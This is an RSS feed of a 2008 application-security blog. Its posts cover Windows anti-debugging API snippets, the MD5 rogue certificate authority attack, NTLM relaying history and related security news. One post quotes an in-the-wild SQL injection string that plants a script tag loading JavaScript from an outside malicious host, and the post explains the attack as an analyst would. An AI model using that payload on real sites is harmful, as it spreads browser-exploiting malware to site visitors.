<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Zero in a bit</title>
	<atom:link href="http://www.veracode.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.veracode.com/blog</link>
	<description>Application security testing, analysis, and metrics</description>
	<pubDate>Tue, 30 Dec 2008 22:53:22 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.5</generator>
	<language>en</language>
			<item>
		<title>Anti-Debugging Series - Part II</title>
		<link>http://www.veracode.com/blog/2008/12/anti-debugging-series-part-ii/</link>
		<comments>http://www.veracode.com/blog/2008/12/anti-debugging-series-part-ii/#comments</comments>
		<pubDate>Tue, 30 Dec 2008 17:14:55 +0000</pubDate>
		<dc:creator>Tyler Shields</dc:creator>
		
		<category><![CDATA[Application Security]]></category>

		<category><![CDATA[Binary Analysis]]></category>

		<category><![CDATA[Software Development]]></category>

		<category><![CDATA[anti-debugging]]></category>

		<category><![CDATA[reverse engineering]]></category>

		<guid isPermaLink="false">http://www.veracode.com/blog/?p=530</guid>
		<description><![CDATA[Welcome back to the series on anti-debugging. Hopefully you have your debugger and development environment handy as we are about to dive into the first round of anti-debugging code. In the first post to this series we discussed six different types of anti-debugging techniques that are in common use today. To refresh, the classifications buckets [...]]]></description>
			<content:encoded><![CDATA[<p>Welcome back to the series on anti-debugging. Hopefully you have your debugger and development environment handy as we are about to dive into the first round of anti-debugging code. In the first post to this series we discussed six different types of anti-debugging techniques that are in common use today. To refresh, the classifications buckets that we chose to use are:</p>
<ul>
<li>API Based Anti-Debugging</li>
<li>Exception Based Anti-Debugging</li>
<li>Process and Thread Block Anti-Debugging</li>
<li>Modified Code Anti-Debugging</li>
<li>Hardware and Register Based Anti-Debugging</li>
<li>Timing and Latency Anti-Debugging</li>
</ul>
<p><strong>Basic API Anti-Debugging</strong></p>
<p>We&#8217;ll continue this series of posts by going into a bit more depth on the easiest of API based anti-debugging techniques. An application programming interface (API) is used to support requests made from other applications for resources or functionality within a target service or library. In our case we will be primarily focused on the Microsoft Windows operating system API. There are a number of calls built directly into the operating system API that make detection of a debugger possible. Minor differences in thread and process meta-data is present when processes are run within a debugger. These calls typically facilitate a process or thread examination technique in order to determine if the target thread has a debugger attached. </p>
<p>When learning about anti-debugging, a developer will typically first be introduced to the IsDebuggerPresent() function. This function analyzes the process block of a target process to determine if the processes is running under the context of a debugging session. We&#8217;ll save the details of how this actually works for a later article, however suffice it to say that the target process has a flag that will contain a non-zero value if the process is being debugged. This flag is queried and returned when IsDebuggerPresent() is called. A very basic debugging detection routine would be to call this function and execute different code paths based on the response.</p>
<pre>
Prototype: BOOL WINAPI IsDebuggerPresent(void); 

if (IsDebuggerPresent()) {
    //Debugger Detected - Do Something Here
} else {
    //No Debugger Detected - Continue
}
</pre>
<p>We could also use the API function CheckRemoteDebuggerPresent(). Contrary to first thought, this function does not target a process on a remote machine, nor does it even require that it target a process remote to itself. The call can use a parameter pointing to itself to determine if it is running inside of a debugger. In the example below we pass in a handle to our current process by calling the GetCurrentProcess() function along with a variable to hold the return value from the CheckRemoteDebuggerPresent() call.</p>
<pre>
Prototype: BOOL WINAPI CheckRemoteDebuggerPresent(__in HANDLE hProcess,
           __inout PBOOL pbDebuggerPresent);

BOOL pbIsPresent = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &amp;pbIsPresent);
if (pbIsPresent) {
    //Debugger Detected - Do Something Here
} else {
    //No Debugger Detected - Continue
}
</pre>
<p>While these two methods are probably the easiest and most straightforward methods of anti-debugging, they are also the most likely to be understood by a person wishing to bypass them. We can mix it up a bit and use a call to OutputDebugString() instead. OutputDebugString() is typically used to output a string value to the debugging data stream. This string is then displayed in the debugger. Due to this fact, the function OutputDebugString() acts differently based on the existence of a debugger on the running process. If a debugger is attached to the process, the function will execute normally and no error state will be registered; however if there is no debugger attached, LastError will be set by the process letting us know that we are debugger free. To execute this method we set LastError to an arbitrary value of our choosing and then call OutputDebugString(). We then check GetLastError() and if our error code remains, we know we are debugger free.</p>
<pre>
Prototype: void WINAPI OutputDebugString(__in_opt  LPCTSTR lpOutputString);

DWORD Val = 123;
SetLastError(Val);
OutputDebugString(L"random");
if(GetLastError() == Val) {
    //Debugger Detected - Do Something Here
} else {
    //No Debugger Detected - Continue
}
</pre>
<p>These three methods are the basic starting point for a developer wishing to implement anti-debugging into their code base. The methods are so simple they could even be implemented as macros making a call quick and easy. Numerous other API based detection methods exist with a vast array of complexity. In the next post in this series we will discuss slightly more advanced API anti-debugging techniques that will make reverse engineering and debugging even more difficult.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.veracode.com/blog/2008/12/anti-debugging-series-part-ii/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Major Break in MD5 Signed X.509 Certificates</title>
		<link>http://www.veracode.com/blog/2008/12/major-break-in-md5-signed-x509-certificates/</link>
		<comments>http://www.veracode.com/blog/2008/12/major-break-in-md5-signed-x509-certificates/#comments</comments>
		<pubDate>Tue, 30 Dec 2008 15:17:29 +0000</pubDate>
		<dc:creator>Chris Wysopal</dc:creator>
		
		<category><![CDATA[Application Security]]></category>

		<guid isPermaLink="false">http://www.veracode.com/blog/?p=540</guid>
		<description><![CDATA[Jacob Appelbaum and Alexander Sotirov just gave a presentation at the Chaos Communications Congress in Germany.  They have implemented a practical MD5 collision attack on x.509 certificates.  All major browsers accept MD5 signatures on certs even though it has been shown to have the collision problem for almost 2 years now.   [...]]]></description>
			<content:encoded><![CDATA[<p>Jacob Appelbaum and Alexander Sotirov just gave a presentation at the Chaos Communications Congress in Germany.  They have implemented a practical MD5 collision attack on x.509 certificates.  All major browsers accept MD5 signatures on certs even though it has been shown to have the <a href="http://www.iacr.org/conferences/eurocrypt2007/slides/s01t1.pdf">collision problem for almost 2 years now</a>.   If you can generate your own X.509 certificates  you can perform perfect MITM attacks on SSL.  They went one better and generated an intermediate certificate authority certificate so they could sign their own certificates.  This way they only need to do the attack once and can create as many valid certificates as they want.</p>
<p>6 Certificate Authorities are still using MD5 signing: RapidSSL, FreeSSL, TrustCenter, RSA Data Security, Thawte, verisign.co.jp. They are not going to be happy about this new attack. The researchers decided to target RapidSSL because they were able to better predict some of the certificate fields (serial number and time) because of the way RapidSSL issues the certificates. They were able to perform the computations required with 200 Playstation 3s over 1 to 2 days. Its estimated to be the same as 8000 Intel cores or $20,000 on Amazon EC2.</p>
<p>They ask the question, “Can we trust anything signed with a cert issued by a CA that signed with MD5 signatures in the last couple of years?”  The affected CAs have been notified and are going to switch to SHA-1.  The researchers also ask the question, “Why did it take an implemented attack to get the CAs to switch to SHA-1?”  After all the attack has been known for almost 2 years now.  We used the slogan, “Making the theoretical practical since 1992” at L0pht Heavy Industries to highlight the need to implement attacks to get some organizations to improve their security. It is a bit sad to see that in 2008, demonstration is still necessary.</p>
<p>The researchers were worried about repercussions by the CAs that might want to gag them.  They had Mozilla and Microsoft sign NDAs that they wouldn&#8217;t tell the CAs about the problem until they could give their presentation. They think researchers should consider NDAs with vendors for protection.</p>
<p>You can see a demo of their forged cert here: <br />
<a href="https://i.broke.the.internet.and.all.i.got.was.this.t-shirt.phreedom.org/">https://i.broke.the.internet.and.all.i.got.was.this.t-shirt.phreedom.org</a></p>
<p>They purposely dated the cert to expire on 9/1/2004 so you need to back date your machine for it to be validated properly.</p>
<p>Full details: <a href="http://www.phreedom.org/research/rogue-ca/">http://www.phreedom.org/research/rogue-ca/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.veracode.com/blog/2008/12/major-break-in-md5-signed-x509-certificates/feed/</wfw:commentRss>
		</item>
		<item>
		<title>SQL Injection Tangos with Heap Overflows</title>
		<link>http://www.veracode.com/blog/2008/12/sql-injection-tangos-with-heap-overflows/</link>
		<comments>http://www.veracode.com/blog/2008/12/sql-injection-tangos-with-heap-overflows/#comments</comments>
		<pubDate>Tue, 16 Dec 2008 23:01:20 +0000</pubDate>
		<dc:creator>Chris Wysopal</dc:creator>
		
		<category><![CDATA[Application Security]]></category>

		<guid isPermaLink="false">http://www.veracode.com/blog/?p=513</guid>
		<description><![CDATA[And the results are not graceful.
Unless you have been living under a rock you have heard about the  latest Internet Explorer 7 unpatched vulnerability. If you browse a web site that has been modified to contain malicious JavaScript it will download malware to your Windows machine. I first caught wind of it over the [...]]]></description>
			<content:encoded><![CDATA[<p>And the results are not graceful.</p>
<p>Unless you have been living under a rock you have heard about the <a href="http://www.microsoft.com/technet/security/advisory/961051.mspx"> latest Internet Explorer 7 unpatched vulnerability</a>. If you browse a web site that has been modified to contain malicious JavaScript it will download malware to your Windows machine. I first caught wind of it over the weekend when a friend said he was browsing a legitimate training web site when suddenly he saw his Internet Explorer status line change to, &#8220;Databinding&#8230;&#8221;. That will make your pulse quicken.  AV was useless in stopping the attack.</p>
<p>Attackers have been finding web sites that have vulnerabilities in them that allow the modification of content on the web site.  By far the most popular vulnerability is SQL Injection.  Attackers inject a string like the following into a form field:</p>
<p style="font-family:courier new; margin:15px 20px">
rtrim(convert(varchar(4000),['+@C+']))+&#8221;&lt;script src=http://17gamo [dot] com/1.js&gt;&lt;/script&gt;&#8221;&#8217;)FETCH NEXT FROM</p>
<p>They then hope that the data will get read back out of the SQL database at some point and the web app will send the following Javascript to a browser.</p>
<p style="font-family:courier new; margin:15px 20px">
&lt;script src=http://17gamo [dot] com/1.js&gt;&lt;/script></p>
<p>The victim&#8217;s browser then pulls the malicious JavaScript and the browser gets owned. Internet Storm Center has another <a href="http://isc.sans.org/diary.html?storyid=5464"> nice example </a>where the JavaScript is injected as a cookie value.</p>
<p><strong>It Takes Two to Tango</strong></p>
<p>This is an example of a vulnerability where it takes two to tango.  Not only does it require a vulnerable client program connecting to untrusted data on the internet. To spread widely, it requires vulnerable web applications that an attacker can use to host the malicious payload.  I have also heard of ad servers downloading the malicious payload right along with banner ads for Fortune 500 companies.  One of the big lessons here is there is no &#8220;safe&#8221; area of the internet to browse. </p>
<p>Something that concerns me is the organizations with the vulnerable web applications don&#8217;t know it or don&#8217;t care.  They don&#8217;t have the brand damage of a large software company such as Microsoft so thousands of small vulnerable web apps keep serving up the latest and gratest malicious payloads for the latest client vulnerabilities. If it isn&#8217;t Internet Explorer, like this week, it might be Firefox or Flash or a media plug in. </p>
<p>Insecure web applications are helping the criminals win.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.veracode.com/blog/2008/12/sql-injection-tangos-with-heap-overflows/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Anti-Debugging Series - Part I</title>
		<link>http://www.veracode.com/blog/2008/12/anti-debugging-series-part-i/</link>
		<comments>http://www.veracode.com/blog/2008/12/anti-debugging-series-part-i/#comments</comments>
		<pubDate>Tue, 02 Dec 2008 20:56:25 +0000</pubDate>
		<dc:creator>Tyler Shields</dc:creator>
		
		<category><![CDATA[Binary Analysis]]></category>

		<category><![CDATA[Software Development]]></category>

		<guid isPermaLink="false">http://www.veracode.com/blog/?p=495</guid>
		<description><![CDATA[For those that don&#8217;t know, anti-debugging is the implementation of one or more techniques within computer code that hinders attempts at reverse engineering or debugging a target process. Typically this is achieved by detecting minute differences in memory, operating system, process information, latency, etc. that occur when a process is started in or attached to [...]]]></description>
			<content:encoded><![CDATA[<p>For those that don&#8217;t know, anti-debugging is the implementation of one or more techniques within computer code that hinders attempts at reverse engineering or debugging a target process. Typically this is achieved by detecting minute differences in memory, operating system, process information, latency, etc. that occur when a process is started in or attached to by a debugger compared to when it is not. Most research into anti-debugging has been conducted from the vantage point of a reverse engineer attempting to bypass the techniques that have been implemented. Limited data has been presented that demonstrates anti-debugging methods in a high level language that the average developer can understand. It is with this in mind that I hope to begin a series of posts that present some of the methods of anti-debugging in a clear, concise, and well documented fashion. The end goal of this series is to arm developers with the techniques and knowledge that will allow them to add a layer of protection to their software while simultaneous educating reverse engineers in some of the anti-debugging methods used by malware authors today.</p>
<p>Before we delve into the intricacies of individual methods of anti-debugging let&#8217;s use this post to define the classes of anti-debugging that we will be discussing. While other classes may exist, the definition of these classes is an attempt to include the majority of anti-debugging methods in use today. There is some overlap between classifications and we may have left out some methods due to limited exposure or effectiveness.</p>
<p><strong>API Based Anti-Debugging</strong><br />
API based anti-debugging is the most straightforward and possibly the easiest to understand for a typical developer. Using both documented and undocumented API calls, these methods query process and system information to determine the existence or operation of a debugger. From single line calls such as IsDebuggerPresent() and CheckRemoteDebugger() to slightly more complex methods including debugger detaching and CloseHandle() checks. These methods are generally trivial to add to an existing code base and many can even be implemented in as few as two or three lines.</p>
<p><strong>Exception Based Anti-Debugging</strong><br />
Exception based anti-debugging is slightly different than your basic API based techniques. Many times when a debugger is attached to a process, exceptions are trapped and handled by the debugger without regard to passing the exception back to the application for continued execution. Occasionally these exceptions can even crash or terminate a process when run under a debugger and be handled gracefully when running clean. It is these discrepancies that makes exception based anti-debugging techniques possible.</p>
<p><strong>Process and Thread Block Anti-Debugging</strong><br />
Some of the API based anti-debugging methods use published functions to query information from within the process and thread blocks for our running code. Many API based detections can be subverted within a debugger by hooking the API call and returning values that indicate a clean process. One way around this subversion is to directly query the process and thread blocks, bypassing the API calls. Direct analysis of the process and thread blocks, while more complex, can lead to a more accurate and high assurance result.</p>
<p><strong>Modified Code Anti-Debugging</strong><br />
One of the methods that a debugger uses to signal a breakpoint is to insert a break byte into the running code at the location that it wishes to stop execution. The process execution breaks when this value is seen, giving control to the debugger. When the program is resumed, the breakpoint value is removed and replaced with the original byte, the execution backed up one byte, and the program is resumed. Detection of software based breakpoints can be achieved by analyzing the process for modifications from the expected norm.</p>
<p><strong>Hardware and Register Based Anti-Debugging</strong><br />
A second way that a debugger can break the execution of a process is by using a hardware breakpoint. A hardware breakpoint relies upon CPU registers to store the pertinent information and to detect when the target break addresses are seen on the bus. A break interrupt is triggered at the appropriate time based on these register values. Reading or modifying the hardware can allow for the detection of a debugger.</p>
<p><strong>Timing and Latency Anti-Debugging</strong><br />
Finally timing and latency can be used as an effective anti-debugging method. When executing a program within a debugger, specifically when single stepping, a much larger latency occurs between execution of instructions. This latency can be detected and compared against a reasonable threshold to detect the existence of a debugger attached to our process.</p>
<p>Each of the classes of anti-debugging outlined above has merit when used individually to protect a process. While none of them can be assured to ever protect a program from a determined reverse engineer or debugger, implementation of these techniques (or many of them if appropriate) can sufficiently slow down the debugging process and hopefully make the attacker spend his time on other, easier, ventures. In the remainder of this series on anti-debugging we will review in depth some of the more interesting methods of each of the above classes. So bring along your debugger and your development environment and let the games begin.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.veracode.com/blog/2008/12/anti-debugging-series-part-i/feed/</wfw:commentRss>
		</item>
		<item>
		<title>News Report on Non Vulnerability in Windows Vista</title>
		<link>http://www.veracode.com/blog/2008/11/news-report-on-non-vulnerability-in-windows-vista/</link>
		<comments>http://www.veracode.com/blog/2008/11/news-report-on-non-vulnerability-in-windows-vista/#comments</comments>
		<pubDate>Thu, 20 Nov 2008 18:41:16 +0000</pubDate>
		<dc:creator>Chris Wysopal</dc:creator>
		
		<category><![CDATA[Application Security]]></category>

		<guid isPermaLink="false">http://www.veracode.com/blog/?p=492</guid>
		<description><![CDATA[Are editors so excited to use the headline &#8220;Vulnerability in Windows Vista&#8221; in their SEO URLs that they will have their reporters write a story on a non-issue? 
IDG News has published a news report titled, &#8220;Researchers find vulnerability in Windows Vista&#8220;. The report says:
An Austrian security vendor has found a vulnerability in Windows Vista [...]]]></description>
			<content:encoded><![CDATA[<p>Are editors so excited to use the headline &#8220;Vulnerability in Windows Vista&#8221; in their SEO URLs that they will have their reporters write a story on a non-issue? </p>
<p>IDG News has published a news report titled, &#8220;<a href="http://www.itworld.com/windows/58144/researchers-find-vulnerability-windows-vista">Researchers find vulnerability in Windows Vista</a>&#8220;. The report says:</p>
<blockquote><p>An Austrian security vendor has found a vulnerability in Windows Vista that it says could possibly allow an attacker to run unauthorized code on a PC.</p>
<p>The problem is rooted in the Device IO Control, which handles internal device communication. Researchers at Phion have found two different ways to cause a buffer overflow that could corrupt the memory of the operating system&#8217;s kernel.</p>
<p>In one of the scenarios, a person would already have to have administrative rights to the PC. In general, vulnerabilities that require that level of access somewhat undermine the risk since the attacker already has permission to use to the PC.</p></blockquote>
<p>Somewhat undermine the risk? If you need admin rights to exercise a bug it is not a security issue since you could already run any code with whatever privilege you wanted.  Microsoft is not issuing a patch, but creating a bug fix in a service pack, yet this is newsworthy?  This story has no comment from anyone but the finder of the bug.  Let&#8217;s see if other news outlets pick up on this one.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.veracode.com/blog/2008/11/news-report-on-non-vulnerability-in-windows-vista/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Credit for Researchers</title>
		<link>http://www.veracode.com/blog/2008/11/credit-for-researchers/</link>
		<comments>http://www.veracode.com/blog/2008/11/credit-for-researchers/#comments</comments>
		<pubDate>Thu, 13 Nov 2008 19:40:18 +0000</pubDate>
		<dc:creator>Chris Wysopal</dc:creator>
		
		<category><![CDATA[Application Security]]></category>

		<guid isPermaLink="false">http://www.veracode.com/blog/?p=485</guid>
		<description><![CDATA[Computer security researchers are much like scientific researchers in several ways.  We build on the research of those who come before us, we sometimes rediscover the same things independently, and other times we forget where we learned things and sometimes claim them as our own.  We also occasionally take an engineer&#8217;s approach and [...]]]></description>
			<content:encoded><![CDATA[<p>Computer security researchers are much like scientific researchers in several ways.  We build on the research of those who come before us, we sometimes rediscover the same things independently, and other times we forget where we learned things and sometimes claim them as our own.  We also occasionally take an engineer&#8217;s approach and implement research discovered by others and not credit them as it&#8217;s the implementation into a tool that matters to us.</p>
<p>The latest Microsoft patch <a href="http://www.microsoft.com/technet/security/bulletin/ms08-068.mspx">MS08-68</a> is a great example. It is a problem with NTLM authentication where the attacker can force a client to authenticate to him and the credentials, while not exposed in cleartext, can be relayed to another server or brute forced to obtain the cleartext.  This is a very classic crypto protocol vulnerability.  It&#8217;s not the crypto algorithms that are the problem, but the protocol implementation.</p>
<p>Microsoft recently fixed the problem, perhaps due to the availability of exploit code, the availability of an easy to use Metasploit implementation, or perhaps Microsoft&#8217;s changed tolerance for vulnerabilities. We can sum it up as a change in the threat space that made it worth fixing.  But make no mistake, this is a very old problem.</p>
<p>News reports have been citing Sir Dystic&#8217;s SMBrelay tool, which was published in March, 2001, as the first knowledge of this vulnerability. Eric Shultze who worked at MSRC in 2001 just yesterday is quoted as saying, &#8220;I have been holding my breath since 2001 for this patch.&#8221; Obviously it is a long time coming.  But this wasn&#8217;t the first publication of the problem.  In 2000, one of my collegues on the research team at @stake, Christien Rioux (aka Dildog) published the <a href="http://packetstormsecurity.org/advisories/atstake/A091400-1">telnet NTLM authentication vulnerability</a>.</p>
<p>Rioux&#8217;s advisory has a great description of the credential relay and cracking weaknesses. I have talked to him and he says he discovered these problems independently, but he didn&#8217;t find them first.  Dominique Brezinski published exactly these NTLM vulnerabilities in the SMB protocol in 1996 in a paper titled, &#8220;A Weakness in CIFS Authentication&#8221;.  The earliest reference I can find on the paper on the net is <a href="http://mvb.saic.com/freeware/vmslt97b/security/cifs-mim.txt">here</a>  where it is included in another paper published in 1997.  Such is the ad-hoc world of independent security research of 12 years ago which still continues today.</p>
<p>It seems ridiculous that a field like security research, which is so important to the running of modern society is so ad-hoc.  Shouldn&#8217;t we know who discovered a vulnerability?  Shouldn&#8217;t all researchers and engineers know about it? More importantly if someone implements a tool that takes advantage of a vulnerability shouldn&#8217;t they credit the discoverer?  Don&#8217;t get me wrong.  Implementation takes a lot of work and sometimes makes all the difference in makeing people aware of a security problem.  After all when I was at the L0pht our slogan was, &#8220;Making the theoretical, practical&#8221;. I still think researchers should get credit when credit is due.</p>
<p>The security community has gotten better at documentating our research but I still see instances of independent discovery, misplaced credit, and tools giving no credit to researchers.  I hate to say it but getting a bit more academic is in order.  Credit is the currency of a researcher and placing it well will reward the right people and we will all benefit.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.veracode.com/blog/2008/11/credit-for-researchers/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Microsoft Fixes 8-year Old Design Flaw in SMB</title>
		<link>http://www.veracode.com/blog/2008/11/microsoft-fixes-8-year-old-design-flaw-in-smb/</link>
		<comments>http://www.veracode.com/blog/2008/11/microsoft-fixes-8-year-old-design-flaw-in-smb/#comments</comments>
		<pubDate>Wed, 12 Nov 2008 21:11:12 +0000</pubDate>
		<dc:creator>Christien Rioux</dc:creator>
		
		<category><![CDATA[Disclosure]]></category>

		<category><![CDATA[SDLC]]></category>

		<category><![CDATA[Software Development]]></category>

		<category><![CDATA[Vulnerabilities]]></category>

		<category><![CDATA[advisory dinosaur bug]]></category>

		<guid isPermaLink="false">http://www.veracode.com/blog/?p=483</guid>
		<description><![CDATA[With regard to the recent Patch Tuesday fix, there has been an issue fixed regarding NTLM Relaying, that has been around for more than eight years. 
In 2000, I wrote an advisory about NTLM relaying (CVE-2000-0834). The problem turned out to be significantly larger than I originally suggested in the advisory. The attack extended to [...]]]></description>
			<content:encoded><![CDATA[<p>With regard to the recent Patch Tuesday fix, there has been an issue fixed regarding NTLM Relaying, that has been around for more than eight years. </p>
<p>In 2000, I wrote an <a href="http://packetstormsecurity.org/advisories/atstake/A091400-1">advisory</a> about NTLM relaying (<a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0834">CVE-2000-0834</a>). The problem turned out to be significantly larger than I originally suggested in the advisory. The attack extended to other NTLM-based authentications on other protocols and allowed general-purpose credential theft via a man-in-the-middle attack.</p>
<p>The <a href="http://en.wikipedia.org/wiki/SMBRelay">SMBRelay</a> tool was published in 2001 by Sir Dystic of Cult Of The Dead Cow, and that really took it to the next level. The protocol completely fell apart. It kicked off a number of other analyses of the NTLM protocol that finally resulted in this patch.  Eight years after it&#8217;s discovery.</p>
<p>At least they got around to it. Thanks!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.veracode.com/blog/2008/11/microsoft-fixes-8-year-old-design-flaw-in-smb/feed/</wfw:commentRss>
		</item>
		<item>
		<title>US Government Detects Attacks on Obama and McCain Computers</title>
		<link>http://www.veracode.com/blog/2008/11/us-government-detects-attacks-on-obama-and-mccain-computers/</link>
		<comments>http://www.veracode.com/blog/2008/11/us-government-detects-attacks-on-obama-and-mccain-computers/#comments</comments>
		<pubDate>Fri, 07 Nov 2008 16:18:05 +0000</pubDate>
		<dc:creator>Chris Wysopal</dc:creator>
		
		<category><![CDATA[Application Security]]></category>

		<category><![CDATA[Software Development]]></category>

		<guid isPermaLink="false">http://www.veracode.com/blog/?p=465</guid>
		<description><![CDATA[Now that the presidential race is over Newsweek is reporting that the US Government, through the FBI and Secret Service, notified the Obama and McCain campaigns that their computers had been compromised and sensitive documents copied. 
&#8230;the FBI and the Secret Service came to the campaign with an ominous warning: &#8220;You have a problem way [...]]]></description>
			<content:encoded><![CDATA[<p>Now that the presidential race is over <a href="http://www.newsweek.com/id/167581">Newsweek is reporting</a> that the US Government, through the FBI and Secret Service, notified the Obama and McCain campaigns that their computers had been compromised and sensitive documents copied. </p>
<blockquote><p>&#8230;the FBI and the Secret Service came to the campaign with an ominous warning: &#8220;You have a problem way bigger than what you understand,&#8221; an agent told Obama&#8217;s team. &#8220;You have been compromised, and a serious amount of files have been loaded off your system.&#8221; The following day, Obama campaign chief David Plouffe heard from White House chief of staff Josh Bolten, to the same effect: &#8220;You have a real problem &#8230; and you have to deal with it.&#8221; The Feds told Obama&#8217;s aides in late August that the McCain campaign&#8217;s computer system had been similarly compromised.</p></blockquote>
<p>This information demonstrates that the US government has a sophisticated intrusion detection capability.  This is likely part of the <a href="http://www.spamdailynews.com/publish/ATT_tech_outs_NSA_spy_room.asp">NSA internet surveillance system</a> that was made public by an AT&#038;T technician in 2006.  </p>
<p><center><img alt="" src="http://www.spamdailynews.com/uploads/intercept-diagram-1.gif" class="photonoborder" width="432" height="233" /></center></p>
<p>It is likely that the system has a set of watch IP ranges that are sensitive from a national security perspective.  The campaigns&#8217; computers were probably on this list. The traffic between foreign IP addresses and these watch IPs is then scrutinized for espionage.  The pattern of activity flagged would be Microsoft Office documents and PDFs being retrieved or other intruder signs such as an encrypted tunnel with a foreign endpoint.</p>
<p>This shows that the US Government has the capability to detect some types foreign attacks although they probably have to be selective of the IP ranges they monitor.  It&#8217;s nice to know that if the White House computers were leaking documents to China or Russia that there is some detection capability, but the fact that this is done at the Internet backbone level means any IP could be targeted and it might not just be to look for foreign intrusions.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.veracode.com/blog/2008/11/us-government-detects-attacks-on-obama-and-mccain-computers/feed/</wfw:commentRss>
		</item>
		<item>
		<title>We’ve Reached the Application Security Tipping Point</title>
		<link>http://www.veracode.com/blog/2008/11/we%e2%80%99ve-reached-the-application-security-tipping-point/</link>
		<comments>http://www.veracode.com/blog/2008/11/we%e2%80%99ve-reached-the-application-security-tipping-point/#comments</comments>
		<pubDate>Tue, 04 Nov 2008 19:06:02 +0000</pubDate>
		<dc:creator>Chris Wysopal</dc:creator>
		
		<category><![CDATA[Application Security]]></category>

		<guid isPermaLink="false">http://www.veracode.com/blog/?p=447</guid>
		<description><![CDATA[It’s been a long road since the early 90s when people first started public sharing of vulnerability information.  Back then there were flat LANs, no network filters, and world writeable NFS mounts hanging out on the Internet. But with the spread of vulnerability information it all started to change. The first major shift in [...]]]></description>
			<content:encoded><![CDATA[<p>It’s been a long road since the early 90s when people first started public sharing of vulnerability information.  Back then there were flat LANs, no network filters, and world writeable NFS mounts hanging out on the Internet. But with the spread of vulnerability information it all started to change. The first major shift in exploit targets was the move from network vulnerabilities to system vulnerabilities.  As organizations got better at firewalling, using switch technology and encryption, attackers started exploiting misconfigured hosts. The major second shift to operating system code level vulnerabilities came when OS vendors started locking down their systems out of the box and users started to get better at managing security configurations.  Now we are in the midst of the third major shift.  OS vendors such as Microsoft and Linux have scrubbed out most of the defects in the OS code.  Microsoft Windows went over a year without a remote unauthenticated “wormable” vulnerability.  Attackers have moved on to applications. </p>
<p>No longer are OS vendors and other large infrastructure technology providers the main source of vulnerabilities. It’s the thousands of applications, produced by thousands of software vendors, that make up this huge 3rd wave. ISS reported that in 2007 that the top five sources of vulnerabilities: Microsoft, Apple, Oracle,  IBM, and Cisco, had dropped to supplying us with only 13.6% of our vulnerabilities. 86.4% came from the other thousands of software vendors that supply our computers with a seemingly unending supply of vulnerabilities for attackers to exploit.</p>
<p><center><img alt="" src="http://www.iss.net/x-force_report_images/2008/images_for_vulnerabilities/vendors_accountability.gif" title="Top 5 Vendors Only Account for 13.6% of Vulnerabilities" width="322" height="261" class="photonoborder" /></center></p>
<p>In a recent report Microsoft has congratulated itself on doing a good job securing Windows.  And by all accounts they have done a good job.  But then they state this:</p>
<blockquote><p>“Unless software development practices change throughout the industry, any improvements in the security of Windows would be meaningless.” </p></blockquote>
<p>Whoa.  Millions of dollars spent on securing the most prevalent piece of software and it could be meaningless? Yes, it’s true.  Since attackers typically only need one vulnerability, if it isn’t in the network, and it isn’t in the host configuration, and it isn’t in the OS, they will happily exploit a vulnerability in an application. </p>
<p>At every shift of exploit target the problem has gotten more difficult to solve.  Networks had choke points and could be centrally managed.  It took a while but eventually host configurations became centrally managed and automated tools could scan configurations.  Although OSes were huge and complex beasts with 10’s of millions of lines of code, with enough effort, their vulnerabilities have been largely tamed as Microsoft’s Windows and the Linux kernel track record shows.  This was a very substantial, over five year effort, which used some of the most talented security people anywhere. </p>
<p>But now what to do?  Instead of a few OSes we now have thousands of applications with vulnerabilities. As Microsoft found out, the attackers don’t go away, they just move on to the next incrementally less juicy vulnerability.  In the world of exploits that typically means the vulnerability with the next smallest target population.</p>
<p>Attackers have started with the common client applications that can be found on almost every machine: Acrobat, Flash, RealPlayer, Quicktime, popular antivirus software.  And they will continue down the popularity slope until they get to application populations down in the thousands which is getting to fairly small software vendors.  Attackers can do this because they can bundle many vulnerabilities together, exploiting the statistical fact that you must have some vulnerable software installed.  Compromised web sites have been found attacking visitors with over ten client side exploits preying on multiple versions of vulnerable client software.</p>
<p>The solution to this problem is all software must be written securely, not just the software from the big guys.  Small vendors think they aren’t a target just like home users used to think they weren’t a target.  People thought, “Why would someone want to attack my home computer?”  Then they realized they did home banking, or had a fast Internet connection that could be used for DDoS attacks or sending spam.  All software vendors need to get the same wakeup call.  Attackers don’t want to find a vulnerability in <em>your</em> software to make <em>you</em> look bad.  They want <em>any</em> vulnerability.  If the population of your software is small they will just bundle your vulnerability together with others in an exploit pack.  The days of the average software vendor not having to worry about application security are officially over.  </p>
]]></content:encoded>
			<wfw:commentRss>http://www.veracode.com/blog/2008/11/we%e2%80%99ve-reached-the-application-security-tipping-point/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Credit Cards Failing Open</title>
		<link>http://www.veracode.com/blog/2008/10/credit-cards-failing-open/</link>
		<comments>http://www.veracode.com/blog/2008/10/credit-cards-failing-open/#comments</comments>
		<pubDate>Thu, 30 Oct 2008 19:35:34 +0000</pubDate>
		<dc:creator>Chris Eng</dc:creator>
		
		<category><![CDATA[Application Security]]></category>

		<category><![CDATA[charge]]></category>

		<category><![CDATA[credit card]]></category>

		<category><![CDATA[fail closed]]></category>

		<category><![CDATA[fail open]]></category>

		<category><![CDATA[fail secure]]></category>

		<category><![CDATA[pci]]></category>

		<guid isPermaLink="false">http://www.veracode.com/blog/?p=416</guid>
